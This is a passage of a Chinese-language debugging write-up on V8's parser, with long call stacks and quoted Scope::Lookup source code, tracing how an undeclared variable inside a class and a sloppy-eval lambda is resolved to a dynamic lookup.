libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBinaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this, int prec) (src/parsing/parser-base.h:3259)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLogicalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3114)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3099)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2914)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2078)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2006)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseMemberExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3696)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLeftHandSideExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3420)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePostfixExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3387)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseUnaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3377)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBinaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this, int prec) (src/parsing/parser-base.h:3259)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLogicalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3114)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3099)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2914)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2078)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseExpressionOrLabelledStatement(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels, v8::internal::AllowLabelledFunctionStatement allow_function) (src/parsing/parser-base.h:5482)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatement(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels, v8::internal::AllowLabelledFunctionStatement allow_function) (src/parsing/parser-base.h:5325)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatementListItem(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:5220)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBlock(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::Scope * block_scope) (src/parsing/parser-base.h:5350)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBlock(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels) (src/parsing/parser-base.h:5372)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatement(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels, v8::internal::AllowLabelledFunctionStatement allow_function) (src/parsing/parser-base.h:5256)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatementListItem(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:5220)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBlock(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::Scope * block_scope) (src/parsing/parser-base.h:5350)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBlock(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels) (src/parsing/parser-base.h:5372)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatement(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels, v8::internal::AllowLabelledFunctionStatement allow_function) (src/parsing/parser-base.h:5256)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatement(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels) (src/parsing/parser-base.h:1318)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStandardForLoop(v8::internal::ParserBase<v8::internal::Parser> * this, int stmt_pos, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels, v8::internal::ParserBase<v8::internal::Parser>::ExpressionT * cond, v8::internal::ParserBase<v8::internal::Parser>::StatementT * next, v8::internal::ParserBase<v8::internal::Parser>::StatementT * body) (src/parsing/parser-base.h:6336)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStandardForLoopWithLexicalDeclarations(v8::internal::ParserBase<v8::internal::Parser> * this, int stmt_pos, v8::internal::ParserBase<v8::internal::Parser>::StatementT init, v8::internal::ParserBase<v8::internal::Parser>::ForInfo * for_info, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels) (src/parsing/parser-base.h:6271)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseForStatement(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels) (src/parsing/parser-base.h:6058)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatement(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels, v8::internal::AllowLabelledFunctionStatement allow_function) (src/parsing/parser-base.h:5270)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatementListItem(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:5220)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatementList(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ParserBase<v8::internal::Parser>::StatementListT * body, v8::internal::Token::Value end_token) (src/parsing/parser-base.h:5169)
libv8.so!v8::internal::Parser::DoParseProgram(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::ParseInfo * info) (src/parsing/parser.cc:654)
libv8.so!v8::internal::Parser::ParseProgram(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::Script> script, v8::internal::ParseInfo * info, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info) (src/parsing/parser.cc:561)
libv8.so!v8::internal::parsing::ParseProgram(v8::internal::ParseInfo * info, v8::internal::Handle<v8::internal::Script> script, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info, v8::internal::Isolate * isolate, v8::internal::parsing::ReportStatisticsMode mode) (src/parsing/parsing.cc:58)
libv8.so!v8::internal::(anonymous namespace)::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:1491)
libv8.so!v8::internal::Compiler::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:2681)
libv8.so!v8::internal::(anonymous namespace)::CompileScriptOnMainThread(const v8::internal::UnoptimizedCompileFlags flags, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::internal::NativesFlag natives, v8::Extension * extension, v8::internal::Isolate * isolate, v8::internal::MaybeHandle<v8::internal::Script> maybe_script, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:3269)
libv8.so!v8::internal::(anonymous namespace)::GetSharedFunctionInfoForScriptImpl(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::Extension * extension, v8::internal::AlignedCachedData * cached_data, v8::internal::BackgroundDeserializeTask * deserialize_task, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3555)
libv8.so!v8::internal::Compiler::GetSharedFunctionInfoForScript(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3580)
libv8.so!v8::ScriptCompiler::CompileUnboundInternal(v8::Isolate * v8_isolate, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2687)
libv8.so!v8::ScriptCompiler::Compile(v8::Local<v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2716)
v8::(anonymous namespace)::Compile<v8::Script>(v8::Local<class v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options) (src/d8/d8.cc:615)
v8::Shell::CompileString<v8::Script>(v8::Isolate * isolate, v8::Local<class v8::Context> context, v8::Local<class v8::String> source, const v8::ScriptOrigin & origin) (src/d8/d8.cc:650)
v8::Shell::ExecuteString(v8::Isolate * isolate, v8::Local<class v8::String> source, v8::Local<class v8::String> name, v8::Shell::PrintResult print_result, v8::Shell::ReportExceptions report_exceptions, v8::Shell::ProcessMessageQueue process_message_queue) (src/d8/d8.cc:855)
v8::SourceGroup::Execute(v8::SourceGroup * this, v8::Isolate * isolate) (src/d8/d8.cc:4431)
v8::Shell::RunMain(v8::Isolate * isolate, bool last_run) (src/d8/d8.cc:5163)
v8::Shell::Main(int argc, char ** argv) (src/d8/d8.cc:5946)
main(int argc, char ** argv) (src/d8/d8.cc:6038)
libc.so.6!__libc_start_call_main(int (*)(int, char **, char **) main, int argc, char ** argv) (out/x64.debug/sysdeps/nptl/libc_start_call_main.h:58)
libc.so.6!__libc_start_main_impl(int (*)(int, char **, char **) main, int argc, char ** argv, int (*)(int, char **, char **) init, void (*)(void) fini, void (*)(void) rtld_fini, void * stack_end) (out/x64.debug/csu/libc-start.c:392)
_start (Unknown Source:0)
Variable Allocation
Scope::ResolveTo
我们在src/ast/scopes.cc:2349
的proxy->BindTo(var)
调用处下断,条件是var.name_.literal_bytes_.start_[0] == 'a' && var.name_.literal_bytes_.start_[1] == 'a' && var.name_.literal_bytes_.length_ == 2
。
我们观察其调用栈,发现Scope::ResolveVariable
函数中的Variable* var = Lookup<kParsedScope>(proxy, this, nullptr)
是查找VariableProxy的对应Variable操作。因此,我们在对应的源码位置src/ast/scopes.cc:2281
处下断点,条件是proxy.raw_name_.literal_bytes_.start_[0] == 'a' && proxy.raw_name_.literal_bytes_.start_[1] == 'a' && proxy.raw_name_.literal_bytes_.length_ == 2
。
调用栈:
libv8.so!v8::internal::Scope::ResolveTo(v8::internal::Scope * this, v8::internal::VariableProxy * proxy, v8::internal::Variable * var) (src/ast/scopes.cc:2349)
libv8.so!v8::internal::Scope::ResolveVariable(v8::internal::Scope * this, v8::internal::VariableProxy * proxy) (src/ast/scopes.cc:2283)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2383)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::DeclarationScope::AllocateVariables(v8::internal::DeclarationScope * this, v8::internal::ParseInfo * info) (src/ast/scopes.cc:1367)
libv8.so!v8::internal::DeclarationScope::Analyze(v8::internal::ParseInfo * info) (src/ast/scopes.cc:714)
libv8.so!v8::internal::Parser::PostProcessParseResult<v8::internal::Isolate>(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::ParseInfo * info, v8::internal::FunctionLiteral * literal) (src/parsing/parser.cc:721)
libv8.so!v8::internal::Parser::ParseProgram(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::Script> script, v8::internal::ParseInfo * info, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info) (src/parsing/parser.cc:563)
libv8.so!v8::internal::parsing::ParseProgram(v8::internal::ParseInfo * info, v8::internal::Handle<v8::internal::Script> script, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info, v8::internal::Isolate * isolate, v8::internal::parsing::ReportStatisticsMode mode) (src/parsing/parsing.cc:58)
libv8.so!v8::internal::(anonymous namespace)::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:1491)
libv8.so!v8::internal::Compiler::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:2681)
libv8.so!v8::internal::(anonymous namespace)::CompileScriptOnMainThread(const v8::internal::UnoptimizedCompileFlags flags, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::internal::NativesFlag natives, v8::Extension * extension, v8::internal::Isolate * isolate, v8::internal::MaybeHandle<v8::internal::Script> maybe_script, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:3269)
libv8.so!v8::internal::(anonymous namespace)::GetSharedFunctionInfoForScriptImpl(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::Extension * extension, v8::internal::AlignedCachedData * cached_data, v8::internal::BackgroundDeserializeTask * deserialize_task, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3555)
libv8.so!v8::internal::Compiler::GetSharedFunctionInfoForScript(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3580)
libv8.so!v8::ScriptCompiler::CompileUnboundInternal(v8::Isolate * v8_isolate, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2687)
libv8.so!v8::ScriptCompiler::Compile(v8::Local<v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2716)
v8::(anonymous namespace)::Compile<v8::Script>(v8::Local<class v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options) (src/d8/d8.cc:615)
v8::Shell::CompileString<v8::Script>(v8::Isolate * isolate, v8::Local<class v8::Context> context, v8::Local<class v8::String> source, const v8::ScriptOrigin & origin) (src/d8/d8.cc:650)
v8::Shell::ExecuteString(v8::Isolate * isolate, v8::Local<class v8::String> source, v8::Local<class v8::String> name, v8::Shell::PrintResult print_result, v8::Shell::ReportExceptions report_exceptions, v8::Shell::ProcessMessageQueue process_message_queue) (src/d8/d8.cc:855)
v8::SourceGroup::Execute(v8::SourceGroup * this, v8::Isolate * isolate) (src/d8/d8.cc:4431)
v8::Shell::RunMain(v8::Isolate * isolate, bool last_run) (src/d8/d8.cc:5163)
v8::Shell::Main(int argc, char ** argv) (src/d8/d8.cc:5946)
main(int argc, char ** argv) (src/d8/d8.cc:6038)
libc.so.6!__libc_start_call_main(int (*)(int, char **, char **) main, int argc, char ** argv) (out/x64.debug/sysdeps/nptl/libc_start_call_main.h:58)
libc.so.6!__libc_start_main_impl(int (*)(int, char **, char **) main, int argc, char ** argv, int (*)(int, char **, char **) init, void (*)(void) fini, void (*)(void) rtld_fini, void * stack_end) (out/x64.debug/csu/libc-start.c:392)
_start (Unknown Source:0)
Scope::Lookup
该函数是Variable创建的关键函数,我们对其进行详细的分析和调试。
源码
template <Scope::ScopeLookupMode mode>
Variable* Scope::Lookup(VariableProxy* proxy, Scope* scope,
Scope* outer_scope_end, Scope* cache_scope,
bool force_context_allocation) {
// If we have already passed the cache scope in earlier recursions, we should
// first quickly check if the current scope uses the cache scope before
// continuing.
if (mode == kDeserializedScope &&
scope->deserialized_scope_uses_external_cache()) {
Variable* var = cache_scope->variables_.Lookup(proxy->raw_name());
if (var != nullptr) return var;
}
while (true) { // 大循环
DCHECK_IMPLIES(mode == kParsedScope, !scope->is_debug_evaluate_scope_);
// Short-cut: whenever we find a debug-evaluate scope, just look everything
// up dynamically. Debug-evaluate doesn't properly create scope info for the
// lookups it does. It may not have a valid 'this' declaration, and anything
// accessed through debug-evaluate might invalidly resolve to
// stack-allocated variables.
// TODO(yangguo): Remove once debug-evaluate creates proper ScopeInfo for
// the scopes in which it's evaluating.
if (mode == kDeserializedScope &&
V8_UNLIKELY(scope->is_debug_evaluate_scope_)) {
DCHECK(scope->deserialized_scope_uses_external_cache() ||
scope == cache_scope);
return cache_scope->NonLocal(proxy->raw_name(), VariableMode::kDynamic);
}
// Try to find the variable in this scope.
Variable* var;
if (mode == kParsedScope) {
var = scope->LookupLocal(proxy->raw_name());
} else {
DCHECK_EQ(mode, kDeserializedScope);
bool external_cache = scope->deserialized_scope_uses_external_cache();
if (!external_cache) {
// Check the cache on each deserialized scope, up to the main cache
// scope when we get to it (we may still have deserialized scopes
// in-between the initial and cache scopes so we can't just check the
// cache before the loop).
var = scope->variables_.Lookup(proxy->raw_name());
if (var != nullptr) return var;
}
var = scope->LookupInScopeInfo(proxy->raw_name(),
external_cache ? cache_scope : scope);
}
// We found a variable and we are done. (Even if there is an 'eval' in this
// scope which introduces the same variable again, the resulting variable
// remains the same.)
//
// For sloppy eval though, we skip dynamic variable to avoid resolving to a
// variable when the variable and proxy are in the same eval execution. The
// variable is not available on subsequent lazy executions of functions in
// the eval, so this avoids inner functions from looking up different
// variables during eager and lazy compilation.
//
// TODO(leszeks): Maybe we want to restrict this to e.g. lookups of a proxy
// living in a different scope to the current one, or some other
// optimisation.
if (var != nullptr &&
!(scope->is_eval_scope() && var->mode() == VariableMode::kDynamic)) {
if (mode == kParsedScope && force_context_allocation &&
!var->is_dynamic()) {
var->ForceContextAllocation();
}
return var;
}
if (scope->outer_scope_ == outer_scope_end) break;
DCHECK(!scope->is_script_scope());
if (V8_UNLIKELY(scope->is_with_scope())) {
return LookupWith(proxy, scope, outer_scope_end, cache_scope,
force_context_allocation);
}
if (V8_UNLIKELY(
scope->is_declaration_scope() &&
scope->AsDeclarationScope()->sloppy_eval_can_extend_vars())) {
return LookupSloppyEval(proxy, scope, outer_scope_end, cache_scope,
force_context_allocation);
}
force_context_allocation |= scope->is_function_scope();
scope = scope->outer_scope_; // 向上层作用域迭代
// TODO(verwaest): Separate through AnalyzePartially.
if (mode == kParsedScope && !scope->scope_info_.is_null()) {
DCHECK_NULL(cache_scope);
cache_scope = scope->GetNonEvalDeclarationScope();
return Lookup<kDeserializedScope>(proxy, scope, outer_scope_end,
cache_scope);
}
}
// We may just be trying to find all free variables. In that case, don't
// declare them in the outer scope.
// TODO(marja): Separate Lookup for preparsed scopes better.
if (mode == kParsedScope && !scope->is_script_scope()) {
return nullptr;
}
// No binding has been found. Declare a variable on the global object.
return scope->AsDeclarationScope()->DeclareDynamicGlobal(
proxy->raw_name(), NORMAL_VARIABLE,
mode == kDeserializedScope ? cache_scope : scope);
}
阅读代码,我们可以发现,整个函数基本上就是一个大循环:循环内部在当前的作用域中查找对应的变量。如果未查找到,就迭代至上层作用域继续进行查找,直至没有上层作用域为止。
aa变量实际上只在本次赋值中被用到。由于它没有在任何一级作用域中被声明,它应该被建立在脚本级作用域中。
第一次变量查找及分配
首次进入Scope::Lookup
时,对应的scope
作用域类型是v8::internal::CLASS_SCOPE
,也就代表该作用域是class b3
所对应的作用域。
引擎首先尝试在当前作用域中查找变量的声明,但实际上并不存在。
因此,引擎将当前作用域赋值为其更高的一级作用域:
因为每一层作用域中都不存在对变量aa的定义,因此当前作用域不断向上迭代,直到最顶层的脚本级作用域,仍然没有发现aa的定义。因此,在脚本级作用域定义一个DynamicGlobal变量。这是正常情况。
调用栈:
libv8.so!v8::internal::DeclarationScope::DeclareDynamicGlobal(v8::internal::DeclarationScope * this, const v8::internal::AstRawString * name, v8::internal::VariableKind kind, v8::internal::Scope * cache) (src/ast/scopes.cc:1234)
libv8.so!v8::internal::Scope::Lookup<(v8::internal::Scope::ScopeLookupMode)0>(v8::internal::VariableProxy * proxy, v8::internal::Scope * scope, v8::internal::Scope * outer_scope_end, v8::internal::Scope * cache_scope, bool force_context_allocation) (src/ast/scopes.cc:2174)
libv8.so!v8::internal::Scope::ResolveVariable(v8::internal::Scope * this, v8::internal::VariableProxy * proxy) (src/ast/scopes.cc:2281)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2383)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::DeclarationScope::AllocateVariables(v8::internal::DeclarationScope * this, v8::internal::ParseInfo * info) (src/ast/scopes.cc:1367)
libv8.so!v8::internal::DeclarationScope::Analyze(v8::internal::ParseInfo * info) (src/ast/scopes.cc:714)
libv8.so!v8::internal::Parser::PostProcessParseResult<v8::internal::Isolate>(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::ParseInfo * info, v8::internal::FunctionLiteral * literal) (src/parsing/parser.cc:721)
libv8.so!v8::internal::Parser::ParseProgram(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::Script> script, v8::internal::ParseInfo * info, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info) (src/parsing/parser.cc:563)
libv8.so!v8::internal::parsing::ParseProgram(v8::internal::ParseInfo * info, v8::internal::Handle<v8::internal::Script> script, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info, v8::internal::Isolate * isolate, v8::internal::parsing::ReportStatisticsMode mode) (src/parsing/parsing.cc:58)
libv8.so!v8::internal::(anonymous namespace)::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:1491)
libv8.so!v8::internal::Compiler::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:2681)
libv8.so!v8::internal::(anonymous namespace)::CompileScriptOnMainThread(const v8::internal::UnoptimizedCompileFlags flags, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::internal::NativesFlag natives, v8::Extension * extension, v8::internal::Isolate * isolate, v8::internal::MaybeHandle<v8::internal::Script> maybe_script, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:3269)
libv8.so!v8::internal::(anonymous namespace)::GetSharedFunctionInfoForScriptImpl(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::Extension * extension, v8::internal::AlignedCachedData * cached_data, v8::internal::BackgroundDeserializeTask * deserialize_task, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3555)
libv8.so!v8::internal::Compiler::GetSharedFunctionInfoForScript(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3580)
libv8.so!v8::ScriptCompiler::CompileUnboundInternal(v8::Isolate * v8_isolate, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2687)
libv8.so!v8::ScriptCompiler::Compile(v8::Local<v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2716)
v8::(anonymous namespace)::Compile<v8::Script>(v8::Local<class v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options) (src/d8/d8.cc:615)
v8::Shell::CompileString<v8::Script>(v8::Isolate * isolate, v8::Local<class v8::Context> context, v8::Local<class v8::String> source, const v8::ScriptOrigin & origin) (src/d8/d8.cc:650)
v8::Shell::ExecuteString(v8::Isolate * isolate, v8::Local<class v8::String> source, v8::Local<class v8::String> name, v8::Shell::PrintResult print_result, v8::Shell::ReportExceptions report_exceptions, v8::Shell::ProcessMessageQueue process_message_queue) (src/d8/d8.cc:855)
v8::SourceGroup::Execute(v8::SourceGroup * this, v8::Isolate * isolate) (src/d8/d8.cc:4431)
v8::Shell::RunMain(v8::Isolate * isolate, bool last_run) (src/d8/d8.cc:5163)
v8::Shell::Main(int argc, char ** argv) (src/d8/d8.cc:5946)
main(int argc, char ** argv) (src/d8/d8.cc:6038)
libc.so.6!__libc_start_call_main(int (*)(int, char **, char **) main, int argc, char ** argv) (out/x64.debug/sysdeps/nptl/libc_start_call_main.h:58)
libc.so.6!__libc_start_main_impl(int (*)(int, char **, char **) main, int argc, char ** argv, int (*)(int, char **, char **) init, void (*)(void) fini, void (*)(void) rtld_fini, void * stack_end) (out/x64.debug/csu/libc-start.c:392)
_start (Unknown Source:0)
第二次变量查找及分配
初始进入Scope::Lookup
时,对应的scope
作用域类型仍然是v8::internal::CLASS_SCOPE
,也就代表该作用域是class b3
所对应的作用域。
注意??:在第二次进行变量查找时,scope迭代为其上层作用域一次后,scope的类型为v8::internal::FUNCTION_SCOPE
,对应的是lambda表达式的作用域,其sloppy_eval标记为true。
在当前作用域中,没有查找到对应的变量。但对于带有sloppy_eval标记的作用域,有一个单独的查找函数LookupSloppyEval
,进入该分支:
进入LookupSloppyEval
后,首先选择当前作用域的外层作用域的可存放var声明变量的作用域作为变量查找/创建的可能位置,以避免其他可能的副作用:
该entry_cache就是脚本级作用域:
接下来,调用Lookup函数,以lambda表达式的外层块级作用域作为迭代的初始作用域,进行正常的查找:
查找的结果仍然是未找到,因此在最外层的脚本级作用域新建一个DynamicGlobal变量,并返回给上层的LookupSloppyEval函数。
接下来,cache_scope被赋值为scope,都对应lambda表达式的作用域:
接下来,最关键的一步是:此时变量aa是一个全局变量,符合该分支条件,因此进入该分支。
根据代码中的注释所述:一个变量绑定可能在外层作用域中发现,但当前作用域有一个sloppy_eval标记,这使得eval可能在当前作用域中新建一个与外层作用域变量同名的变量,从而对外层作用域的变量产生屏蔽作用。
因此,为了解决这一问题,当前作用域的变量被声明为在需要用到时继续向上层作用域进行动态查找VariableLocation::LOOKUP
。这与我们第二次字节码生成时所遇到的情况相符。
